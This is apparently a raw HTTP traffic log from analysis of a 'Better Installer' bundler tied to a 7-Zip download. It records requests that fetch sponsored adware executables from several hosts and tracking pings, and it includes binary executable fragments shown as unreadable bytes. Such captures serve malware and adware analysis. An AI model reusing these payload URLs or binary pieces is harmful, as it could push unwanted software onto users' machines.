.0QO\Cj(.C.-.......*..5|.-.0..$.V..pX...T........HA.....}..........}.;
. ....LPV.X..0W..H.........z..F(.o.:........Fd.'C..= . ..e.....%Z.t...
.t.Bz.?...s.....L...ds....[....dr.....E(.z)vD17...d...m... ..........m
s..g...8V._x.X..D..g.WQ&....$...}o.Q5u..#6.. .`.......~..%.ir.W....zoY
I1b.......t`.2t.U.~5....t.......jd..rv.O..........s.o.}....A....9..o%.
..j.....R.LQ[.9qY1d?..?n.F.........*F}.b-.P`....y.6.=n...Kge}onq..u%.O
|.X>..."]..%H.;[email protected].. ........^...*.--....^n3.....2A....
...,..Wg./.........p>....ci.........w..2.g...6^:.`..b... .'r.......
.........D....RH..[.`i..1*.rs....O..BG5...)nU..tX...r..CZ..V=)@.4r..)v
:./M$..5...'4....Bey.0Y..*..#7...q.../.#N.@....__......<85d$.z.%G..
.(....-.d...I.........g....S:..&...2.....t..........h.c.......ty.G. .T
.k.>R....C...S.K.S.....,3LZe......a..#&SH.Q.R......4P......0}IC.h)N
.7..G....G1..........<..!.....=.I......S...tE.d.d.Y.......qf@I=nB..
......V...'...z.]y./.......ng..VY...y.|......2.J..'.^.z....W..d...
<<< skipped >>>


GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=247102-494204
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2: h1y2lVSO7QrlApBIOAe ehaHwd9J5EDGBFzGtxPWWeDOYEzeJtEdTqFovy3X25FmeEBvnwgH80s=
x-amz-request-id: 0F1474D9DB5D33BA
Date: Thu, 30 Apr 2015 09:27:21 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 247102-494204/988408
Content-Type: application/octet-stream
Content-Length: 247103
Server: AmazonS3
-s...R.... .e.>7........... )..51.n4..@..)....ck.../.01-. Z?L....k.
...O..<2Ma....7..r.2....j....O.".A......dK..&G..Hj6.(.P....ZxVA.>
;...Sr.l:.86....6bq.....>.d-p~R{..jI.L..M. .8O....q..[..J4...T..l..
...m.......)e.C..A....I,cPy2|.."-...".M.O..v...=Q......|.......'..Z..I
}....Dw.....f.i...m.~.o..H'.j.....&.agE.`._`.>...[.:O...^4......3..
.7.{[email protected]...<......BY..4C.}..Qf.'(.....rRf?...q.=|....|....
[........E..Gu...oD2 ...E/....2$..k......o......E.. h.....s7..ouq...N.
.".o.....L.....%.8-...zG.._.|.B{.e(w.iy.....ALA.}.,.cf1%ZE-.U.....oa.F
.~|o.":,.N.s...N.^x....GT..(.!..oy'.N..?.L....7...)..f1nS.P.6....._v..
....._)S......`....qe0.d.DI............sq..su...{j..Y..'...;..6.{..@..
Os3p4T8.z...8....L.Q.F...H../...b...(..k._..z.a...f...0......}.......P
.|-.3.g...<.,w=P.tk_$..p..\,...K..*..........S.....l&..^C.q.J...OD.
..$..T..x...`........:Ea#"...fv....p.u.YWE.........m..E...CV....=sR...
=W.DC..jQ..o.74;9 .5y^.H&f.3..|X.......w. ..^./E...X..lC.|.hR.. ...._J
r..v...E..X~.D.Q.......5.>...A..v ...a~=..F ..{a"....yj F..].n.....
.=1H..



GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=249864-
User-Agent: Better Installer(Mozilla)
Host: d3cu4o8yyw81v.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 35694
Connection: keep-alive
Date: Sun, 26 Apr 2015 05:03:51 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 249864-285557/285558
Age: 1196
X-Cache: Hit from cloudfront
Via: 1.1 c2890b1d84d781704a34b9aa5c069d4e.cloudfront.net (CloudFront)
X-Amz-Cf-Id: -rVd6enQJ4KWE6jZ6LFKrXxc7-_bWklJBiJzd8oVUI8ByZoTcR5B5g==
..X..9f.q...%.@_e../xo....nFE5..b:.....I..}..ELr.......b.....=..Bq.G._
...|.eh:..B_]...'.q.T..XMz4N.@.....?.....Kg.I....f&.\.B6...........f..
Ff...,...i0E["...A/#.).....P..]..,.[..$.../..Q..>'...F.1.=.h.C ..l.
..Vc..^K]....z.Dp.<6.. .=..%$`.G...'..h..'"#......!^..}F7g..[.K..n~
.s..4fo%.K.....M...-......GM|V.......N..o...(.,........1...=...J{....~
v..C...HwM'rg=...Y..Y>Rj.[....=Xh%P.F(...Ph.D&..S.....EF..7....\.Z.
&/`..1q......(./..A.WWs.....L...:^.`....:......z.7.m.c.Xj(...z.....z._
.Y.Z.<..m....-F..-r.......yV....;\~....P...`qR..ue..Pad"..8.f&1/.w%
.e...m.....M].c..C.}.%_.s.WQxQ..1.WO.Ea.76.~..r.&..9..%8.0.......xE..$
..a/..*z.;khi.k".<}.....v....0)..a.&..Z..n..a|P.gjT....C.....[..W.g
.4.k|a.Zw-....k...?.{.......ZM......_.>i.@.`<#...y.S.<.;..kf.
.u.....6....$..}2..6.....h.U#.......j..=.{.4..}....@)..K...%...z^cxR."
.b....j.....T....U?is.3..L.D-v..{P....P....\...*..........NI.n.y...M..
..@...?d`N..k^...}....o5U.(..:'..|.c..wQ....)..T..y..uz.8......H...A..
..'}5....W.....u...@ ...s)........x..d.X.zz.p.....(.......c1..g.......
S..Q....Ae..&P;7./...A...%)'....~.q.T.3..j2..1..S.C..Dq.`...c.yZOpP..1
...z...D.3.f.__.F:.H......I..@.~...t..c.p.W.U."...1].>9..d:...i.6..
.....G{.mh..'...d..|{....:<.TZ..2I...._yI.fpG....S.??,[email protected]=r
.....{z.Q...Q.~.......t......1.]..Sf(.QD...6.%...5\.&HW......h.n*.j.cn
k..]....fz....W@... ..w...}.8...h.`n...........9>o.0.....pa.....U..
\e..%J.....`....OF.{.P &.....v..bk..n.c.M&..(.....8e.YZMw..R.M]Qa....o
.p.$g.D._.C...5........F.Pu{..n6...[.....T.&..N^[email protected].`2.
<<< skipped >>>


GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:22:05 GMT
Content-Type: application/octet-stream
Content-Length: 671328
Last-Modified: Thu, 30 Apr 2015 03:13:41 GMT
Connection: keep-alive
Expires: Sun, 03 May 2015 09:22:05 GMT
Cache-Control: max-age=259200
Content-Range: bytes 0-671327/671328
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........*...D...D.
[email protected][email protected][email protected][email protected]...
[email protected]............
[email protected]............
@.......................................... ..............."..`.......
[email protected]................
...............text....P.......R.................. ..`.rdata...^...p..
.`...V..............@[email protected]...$O.......,[email protected].
....... ......................@[email protected]..................
@..B..................................................................
......................................................................
......................................................................
......................................................................
............................................U..j.h.NG.d.....P....T.H.3
.P.E.d......M..E....Q...e.P......M.......E.....j.j..M..K...j.j..M.Q.M.
.K....E......E..M.d......Y..]...U..Q.M..E.P.pn.....P.M..4.....].......
..........U..Q.M.j.j..E.P.M.Q.U.R.M..a.....]..............U..Q.M..M...
....E...]...........U..Q.M..M......P.E.P.M..d...P.M........]........U.
.....M..E..H.;M.r..M......;E.s..M.......U..B. E.;E.s..M..Q. U..U..M...
... E..E..E.;E.s..M..M.... U..E..H. M.;.w..M.......U..B. E. E..E..M..Q
..U. U..U..E..H.;M.s.j..U.R.M..?....E.;E.tS.M.Q.M.......E..E.P.M..
<<< skipped >>>


GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.522997821052618 HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/591e247a260e754da0a14c821f058054?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.58050192.1430385829.1430385829.1430385829.1; __utmb=1.5.10.1430385829; __utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:26:28 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:26:28 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=803956-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 482373
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 21 Apr 2015 16:12:59 GMT
Content-Range: bytes 803956-1286328/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 7Mf1EdCqu_nGMb2QbFL8gfjTKW37jFo7b2OEici4ZTbI4r7mhcPQXQ==
.P........}..X..).....h,*S...iN. ..%.-W...#..;..'dI7.K..M....'.N.?(L..
#5.....L..f..b.Y....!......JP..{O....f.. L%btTB...bo...iN..iI..Su.....
..Y}>..s"..i mh....@._U].....G.>..9.^..`...."!......i(...s.&..g.
...7.p7.Q......H..^...@i6....|.,.".5`T;r$.;....K............>UX(...
N.X..,[email protected]=..J.a...w.'.{\A>.&...*....y\.GY..&.."r..y......
....!2.^..7..cE...'[....a)..wC..2.3....6t..u..1...6x.A.............2!.
W....Y;.N........v..a..f.x{f\O'LM....../=.....s..hXKE......;~t...P.=..
...|W.7........,..wC..m_...........w.......!..{Z.b..fu.pE.T&...eP".. 5
..4\J]........5V..........L..WyS...._....b.....4..u.czY..I...1..t.G.U.
....d}.moe)..Q...6X....X..ia...1....8`.n..O....-..."./^....QDW..P.....
.w.......w.Y^..[...2/q.s/i.....N..#.....fa....P.....r..%m.m.m.B...\k..
.p.j.g8t.....7./..vG........P.m.L.....?.<g....P....#'... ..D..7|n..
..#[.3.U..}....D...=..?. e.`...;p.. i..........<..wC._.51........Q.
"Ar....&.e......W....u6"...]..I.9.6...r....m. 9n...v."...*.X."..25...6
..-0..&3.I..&y6>.{.}m/[email protected]..
..8,{'L.bv..V:...V%[email protected]........!=Z...o...'. ....\..2%_$.B{.D.H.
...._.dD.....=Q..:z...Z.}RJF.o.W(.X!...<...].7.;9R....];=....GH..Fm
....A:'} .1........)...vJ...$7.;). 1..y......"v>.bF:.-50;#....,..9.
q..........iN...4.6uJj....F ..a.d...1..re........_.\p..m.ZX..9...t.[..
.D..`y.......p.kg.4....q1......U..W.:..>...<P....r..B. C.<).~
....K9..,.y... .. 4........~.0@>.BM...$hh...:7...P}0.A*TC...N..Ch..
O.T.L..U.n..B..@{.,*n..}N..fi..~..6..}C.Hg.......p.;.ZS.W.i..0...:
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=277620-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:22:09 GMT
Content-Type: application/octet-stream
Content-Length: 832856
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 277620-1110475/1110476
../cXh~.Q....mj..Yt..>...(.e....(...kiq...lSR>...?... .N?.[c6...
C.(.pA.,.*..F...Y.Ij.j..p.%.r..e..h&...{-.....R^...`9.1PO6\8..>....
..Q"Rg.Z......Too...?.<....J..=,.q...}y.=.T..*W...C9..].........^e.
"T..`.&F..M...^-6Wz_:..YW.B.......'......O;,k..".gGP..<$-..1 .;.s|X
....-....%,....@.]AU.. ..\ko... .w~g..1K.......;A..|.r..%.............
.......... .)..2....e..<.J.i."....c..oZ...TE..j...........H..,8W.c.
.ST.zz.M.;-Pk5z...y..r.W~.;(F7,........w5...Ef...9Eo..[.Q...\.....9..f
6...j.mq*pRc..Z*.R..IW...j4Y.D ...T...Sn_.0.tY[/g./]ehAw..@<W......
0QO\Cj(.C.-.......*..5|.-.0..$.V..pX...T........HA.....}..........}.;.
 ....LPV.X..0W..H.........z..F(.o.:........Fd.'C..= . ..e.....%Z.t....
t.Bz.?...s.....L...ds....[....dr.....E(.z)vD17...d...m... ..........ms
..g...8V._x.X..D..g.WQ&....$...}o.Q5u..#6.. .`.......~..%.ir.W....zoYI
1b.......t`.2t.U.~5....t.......jd..rv.O..........s.o.}....A....9..o%..
.j.....R.LQ[.9qY1d?..?n.F.........*F}.b-.P`....y.6.=n...Kge}onq..u%.O|
.X>..."]..%H.;[email protected].. ........^...*.--....^n3.....2A.....
..,..Wg./.........p>....ci.........w..2.g...6^:.`..b... .'r........
........D....RH..[.`i..1*.rs....O..BG5...)nU..tX...r..CZ..V=)@.4r..)v:
./M$..5...'4....Bey.0Y..*..#7...q.../.#N.@....__......<85d$.z.%G...
(....-.d...I.........g....S:..&...2.....t..........h.c.......ty.G. .T.
k.>R....C...S.K.S.....,3LZe......a..#&SH.Q.R......4P......0}IC.h)N.
7..G....G1..........<..!.....=.I......S...tE.d.d.Y.......qf@I=nB...
.....V...'...z.]y./.......ng..VY...y.|......2.J..'.^.z....W..d....
<<< skipped >>>


GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAANwFAj/+8EUwCY4AAQAA3AU= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.msocsp.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:21 GMT
Content-Type: application/ocsp-response
Content-Length: 1757
Connection: keep-alive
Set-Cookie: __cfduid=de6054a5ae266a344967fa2f15e1f811b1430385861; expires=Fri, 29-Apr-16 09:24:21 GMT; path=/; domain=.msocsp.com; HttpOnly
Last-Modified: Thu, 30 Apr 2015 08:21:31 GMT
Expires: Mon, 04 May 2015 08:21:31 GMT
ETag: "ee8838bd23fde578d65b77b80ce23de4720f56fe"
Cache-Control: max-age=10800,public,no-transform,must-revalidate
X-Cache: HIT
CF-Cache-Status: HIT
Server: cloudflare-nginx
CF-RAY: 1df231727e630f63-FRA
0..........0..... .....0......0...0..........<.|[email protected]|..2015
0430082131Z0..0..0L0... ........&."f........{5.....t..Q.$&..h"W.& ;Fb.
{.....Z.....?..E0............20150430082131Z....20150504082131Z."0 0..
. .....0......20140430082131Z0...*.H...............}...#...L........L.
h-!.....c . mj.&..P....*...i.3E.G&#.;....=..~a....iC.....r.F!.m...@7..
........A...Z)H.W..0.....l.......4915.%..Ej.tK<........y...vh.=.w..
..-]..!...;c..{.....k....2.....|..<. ./%.?......z.d's....1."O ..!..
IZ.....E......P.6)4.B..D^@@.../....0...0...0..........Z.....W.3.......
...0...*.H........0..1.0...U....US1.0...U....Washington1.0...U....Redm
ond1.0...U....Microsoft Corporation1.0...U....Microsoft IT1.0...U....M
icrosoft IT SSL SHA20...150304231653Z..150518231653Z0!1.0...U....Shoul
d be ignore by CA0.."0...*.H.............0...........&!(..$.K...."=f..
..x.d.._s.....j....9`..l.Z..............^f..u......-e.&.bG.(i.Q.......
....bEy...^7A...A..c....CF-&...e.7..7F....."..w...y.:..`.w{~..D.x*....
...x3Os......q...... S.fB .ig.....L..3......4E..}..7...M....e ...6.M.O
.....<5:......r.....]..A.5........0..0...U..........<.|7...@N6p.
I.e|0...U.#..0...Q.$&..h"W.& ;Fb.{...0...U...........0...U.%..0... ...
....0... .....7....0.0... .......0... .....0......0...*.H.............
....9........V.O..o.6........O......8=\..Uy}.%..y.^.*_#@.L.\....s..im.
k.\Y5.h.h.%.&%.E]..G...aAn./q...omj........e.._....|.S...y0..$....|A@.
._Xl98k.Q...s5. ;....|p....n/\"d0.c#..7....1Nv...h8.X.G....F.x.(K.....
lx1. .......O.....%.Gk|......"[email protected]/.o-....\.r....@I.
<<< skipped >>>


GET /sponsored/speedbit/eula-youtubeaccelerator.html HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://bi.bisrv.com/awde7zip23008/7zip/607d9b71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d3i779maf1zmkk.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Sun, 26 Apr 2015 05:00:04 GMT
Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT
Expires: Sun, 26 Apr 2015 05:10:04 GMT
Cache-Control: max-age=600
Content-Encoding: gzip
Vary: Accept-Encoding
Age: 170
X-Cache: Hit from cloudfront
Via: 1.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)
X-Amz-Cf-Id: VPUEOSJtalcWgs6soE6FlY0kVc85znHlaktB1EZ-2mz_9oh8FXVo7Q==
2799.............]ko..y.....&J.K.D...h........[,.n...F...5.af... @.F.^
.I..y.s..9.:..H.D.9s...y/~..._=.......]...o?{~.,.;:>~..g..._|...W./
.g.G...:_6e[V.|~||.r/..j..........OGU=;.xs..c=....Q..9......<.....e
.d`..?....m=[...h.u.j..vU<.k....w.un..e...^.......>z.I....}.QM..
r9.nF......o.......O....r...?......I..z.}q{.M.i....>...K.,...>y.
\.....'{..m[....i.....~..d......Gu....b...o....p..o..;H?..>.v..{.:.
.....0.........................'._......?.l....o..Q.....9..q.C.]..4...
.70...w.a.v]/.~......zn\M..o..U.U.,.-.....q.........B........WE.~Q...u
.S.w.. .`K.j.^`X.......g....e.(......_?.6..p^.../.."o..w.>......FM.
.. ..u[....|.p......;...I.{..Q..i.|.w.w...c..G.jU,'....d.S..~f.)r.....
..A...w...9.. R....g..Y...x..'..{.(.<._.5N.......3...c.F...)..wYMn.
........e?z.....-.zV..e....U..G..\.([V."...i.l............i.(........)
.r..~..]}.)y.&....Q6.W%X.Cm.<z..b.OM.dYX.?.>d......{...k........
y1m.eG...{....#........&.._./.....O.U./..Ev2... y[..EQ/....mS`.O....&g
t;....x.7....l............a...q.W.c.#./......^\..... ..Y6/...).|9. .l.
5>...*.-....YW./.a...lV].......r,...q.:Fi1..<kA...__..........x.
.Ap.?...Z..=......q.4.)....R[.9~...*.*(....'.Yi..p.B.n......e'...I.T.;
.L.^-..Co...j0u..j...dc0B^..I.r.....-.(...n......1.-...'.*.......M^...
.&...y~..-...;W....UV.8.,.c.'...QLd 4x.....fmU....<...M..pRN3\{S`AX
..6..X........'_._....q2.8.?.QF.M.0.>.l^......6.I:...4DvY.7E!.=....
m.C.....U.}...c.....??.......[e...H..-.c:-.%vj'..A..2.K|..%]......{Ga.
...EQ..Z|Q..6?..4?z|................H.%.....{....\b[.........L....
<<< skipped >>>


GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 72922
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-72921/72922
Age: 3540
X-Cache: Hit from cloudfront
Via: 1.1 8cd0e1b054d4e5083057646da4909e74.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 2TwqJOCqffXgCW9jVoaaTAn4YSgU2hyZyRC72EkasXVYfddVUnhp3Q==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........0.......p....@.........................
.................................................s.......... B........
...................................................................p..
.............................text...hZ.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected]...`[email protected]... B.......D...v
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...6B...Si.....VW.T.....tO.q.3.;5.6B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.6B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /mirror/web2mob/v1_1_0_6/ClientToMobilePlatform.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 586214
Connection: keep-alive
Date: Sun, 26 Apr 2015 07:01:19 GMT
x-amz-version-id: EHxyzBQj6iiiaTOTEAKMcyCTnT95Tfxs
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1404646671/atime:1404646675/ctime:1404646671
Cache-Control: max-age=3600
Last-Modified: Sun, 06 Jul 2014 11:38:15 GMT
ETag: "6ca71f0046dbb49d4aec20c15d92b5d1"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-586213/586214
Age: 1492
X-Cache: Hit from cloudfront
Via: 1.1 1f3fb60768611bd03244cf06312d5a9c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: yF5KeaH95muKo3zvm8hWEWPNzFQ5idYKSrI9WBb2gZKb81eVmbYd4A==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................^...........0.......p....@.........
.................................................................t....
......h...............................................................
.............p...............................text...L\.......^........
.......... ..`.rdata.......p.......b..............@[email protected]\......
.....v..............@....ndata...................................rsrc.
..h............z..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h ...Pj.h`[email protected]...\r@._^3.
[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G...
..t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i....
<<< skipped >>>


GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=741306-
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2: dKOYHAEipLpkrckTzFowHG4FpWhr 3Xe/4t0HVKwrHaFAQUCQsRFbz/pMox7QWDWT78ASWchM9o=
x-amz-request-id: 84071C94F7E2C93E
Date: Thu, 30 Apr 2015 09:27:21 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 741306-988407/988408
Content-Type: application/octet-stream
Content-Length: 247102
Server: AmazonS3
......yM.[....~.....8.^..$5*iD..8.'.~N.1.Dfm.Pz.\..M.a.. .h#....H..&..
.@..............*P......\..d....#V..Q...p7.sY....8FX.....k...~...P....
[email protected].].....y..N.k.%U..L......8..?.....8..x.v...{.e.. .p.Zp..O...JBe.H.
.M.\(..y.d.&.B....H*........5...........uZ...JfY(..;.x.......k..w1....
..>.n.&$I....~K...M......w..#A....D..ms.z...zx.a6.5.BY..k.f...$....
.H|..^.....9...F.m.u-...'...H.w.eYA......{5....R."..d#..z:..0......H..
.....su..........t.5.....8.t....T1...C7.9y......_wO_...b.....)/....^..
....NH...7.;i...U..o...u..k#o....\Z..Ha^..T.H"'......s.........1...U.{
g..r..*o...^.....t%B....o.DV......!...8.....V @j....P.4o.z\..B.8S $z8.
/.x...~sw?ol..f.0}...a..`u.A...(n..o...:.).Ga..h^.jZ.'.c...q..^$..)...
..n.....y~~s[50...E.. ...S._A.F.}...F.e.shd<.4fL...j....|E...'U..e.
B.....Q.!J...K..Q._......6ME....b...`8.!.5.E..........'1.....2.D.SA.Lo
.]../..d.........SP......-n..g*.k.../....G]{..R...6s.....j.;..M.4.....
..s8.Q~.jbx.o.!..G.O... ..C....).:..........n".c.=.q].e..2.D....J..lFn
y../-....e....?......3`.|.......n.A...|h$;.....wu...1...4z9.t..#..f.&g
t;....A.).._..J..Bs/5.b_....C.}.....&...nU?n...Lb.hH....H.o...........
.RE.{...=.v.sjw.m!4f..AC).....1..F..A*..s.......;z^NMQ.P..D.SEf.......
AM........$.qzgM......=.....A.8..y...,......{..|......!...Q....u......
........m...8?......q...t.w...M.yE.D.K.h.........).......|....#...3...
.[.6.G......C..e..T.....!......k=...JuEzV./.w..."Cj.0......~T.N.......
.O.[..G5o..........Q...V.c..H.......'z..mX1.......}w.NE.K....j.1T=.)}.
....zS..9...v......A....$...........r..dc.."r.0..l..h..H.......;..
<<< skipped >>>


GET /ga.js HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/awde7zip23008/7zip/607d9b71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.google-analytics.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 08:20:30 GMT
Expires: Thu, 30 Apr 2015 10:20:30 GMT
Last-Modified: Wed, 08 Apr 2015 20:30:30 GMT
X-Content-Type-Options: nosniff
Content-Type: text/javascript
Vary: Accept-Encoding
Content-Encoding: gzip
Server: Golfe2
Content-Length: 16075
Cache-Control: public, max-age=7200
Age: 3693
Alternate-Protocol: 80:quic,p=1
...........}.W........_/.>.!aj..f....--....Y.!MHB.0....o..-'.......
{K..y.....d.Wig.....r.H.P.. ............"..a?..;..P2...C.R.&..e....o.e
x"...e.....[..C.K...G:....de...d.F.,..|.=..Fn..9..//5$X...Co..=..'z2..
.`0..%[email protected]...#.^a.......Kh.'.C.....I.]......tp..:.sO...x..
.8...t0<....\b;=. .z.e>.1..#.v.j......<q...#[email protected]...}H1.C..
.R.5...z..XWb.2.t.......B.....[(i.....P...x.....9.nM...."...^.....c.. 
R......t...Z..q.hl......;.c.....9.@g_.(..n.hO....|......t`.|.)H..Z....
.l..f .j......J...%._.KN......Tf..g.^.b....r.I..z...UK.\^^.m....}..DA/
.......g.A........0.........".c0.....$~I....D#......{...}.=..j...m....
@.....k.?$....J..Q......}.g......~...6.l<]..x...d?.\...w.3].._.X@..
|....}.C..$0.|.53...Q.8.....i.0=Vr.h.........<.a>.....4.:...ttg.
.....f....'.T.`=..........a...oB...Q.q......3N5 ..<....R....4......
....K..I.i#..C..$#i....`Ja..:..z.*...O...?..41.!.w}......T............
.........y..pE^r..n....A..............q..`.i>;........ .).......m..
P61I.jK.nG..Vj......9.....2....Tv. ^. ........OZ....U.9399].).,.p..\..
\YW..j3..H%...........e.c.....[[email protected].=...R...
.]....xz.`.<..7........r1..87.....7.iL}u..Yu;T. X..d.GT L Uy.....q}
......./...=. ..<#u%..4h...mZJ......p.m...,,<..4.,o$..E.a&.-qy9Z
^6i-,@...".6.7.......-f;.`..f.2...?./.S<[email protected].%.|.
